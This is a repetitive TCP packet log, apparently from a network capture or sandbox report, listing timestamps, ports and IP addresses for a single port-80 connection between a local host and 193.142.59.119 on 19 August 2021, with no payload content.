Aug 19, 2021 07:53:39.561297894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561317921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561335087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561338902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561359882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561369896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561384916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561408043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561419964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561429024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561439037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561450958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561471939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561476946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561492920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561512947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561513901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561533928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561557055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561558962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561584949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561604977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561605930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561628103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561646938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561649084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561671019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561685085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561691999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561712980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561737061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561738014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561762094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561781883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561783075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561803102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561822891 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561825037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561846972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561867952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561867952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561888933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561908007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562022924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562064886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562129974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562169075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562191010 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562206984 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562211037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562233925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562247992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562254906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562274933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562289000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562295914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562316895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562340975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562341928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562364101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562385082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562387943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562406063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562427998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.562428951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.562467098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593015909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593082905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593122959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593162060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593202114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593199015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593235970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593250990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593296051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593327999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593337059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593379974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593420982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593427896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593461990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593489885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593502998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593547106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593578100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593596935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593641996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593668938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593683004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593723059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593749046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593761921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593807936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593827963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593847036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593885899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593924999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.593935013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593978882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.593997002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594017982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594058990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594094038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594098091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594136953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594157934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594177008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594216108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594254971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594264030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594306946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594320059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594346046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594384909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594420910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594423056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594461918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594477892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594501019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594538927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594568968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594587088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594630957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594644070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594669104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594707966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594719887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594748020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594785929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594801903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594825029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594862938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594886065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594912052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594954967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.594973087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.594993114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.595046997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.626688957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626715899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626729012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626741886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626759052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626775026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626795053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626813889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626828909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626844883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626862049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626878977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626894951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626909971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626928091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626945972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626945972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.626962900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626979113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.626981020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.626996994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627002954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627013922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627029896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627032042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627048016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627063036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627068043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627085924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627093077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627140999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627401114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627418995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627434969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627449989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627469063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627474070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627486944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627502918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627520084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627526999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627537012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627552032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627568007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627576113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627583981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627600908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627605915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627624989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627639055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627640963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627660036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627675056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627676010 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627688885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627706051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627720118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627722025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627739906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627752066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627762079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627778053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627782106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627795935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.627825975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.627868891 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658132076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658163071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658179045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658195019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658210993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658252001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658282042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658426046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658448935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658647060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658649921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658668995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658688068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658703089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658705950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658721924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658737898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658754110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658766031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658783913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658799887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658816099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658833981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658849001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658864975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658879995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658899069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658901930 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.658916950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658934116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658951044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658967018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658982992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.658998966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659014940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659034014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659048080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659050941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659063101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659065008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659066916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659068108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659070015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659071922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659074068 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659075975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659077883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659080029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659084082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659100056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659121037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659128904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659146070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659146070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659162045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659178019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659182072 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659197092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659213066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659214020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659230947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659246922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659248114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659262896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659276962 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659277916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659293890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659308910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659327984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659338951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659346104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659362078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659373999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659389019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659400940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659411907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659431934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659449100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659463882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659478903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659496069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659511089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659527063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659482956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659548044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659567118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659584999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659585953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659600019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659616947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659616947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659621000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659634113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659650087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659652948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659665108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659682035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659698963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659699917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659703016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659719944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659720898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659735918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659737110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659751892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659754992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659769058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659784079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659796953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659801006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659812927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659832001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659833908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659847975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659862995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659868002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659885883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659902096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659919024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659934044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659950018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659967899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.659969091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.659986019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660001040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660016060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660017014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660032988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660033941 CEST	49738	80	192.168.2.7	193.142.59.119
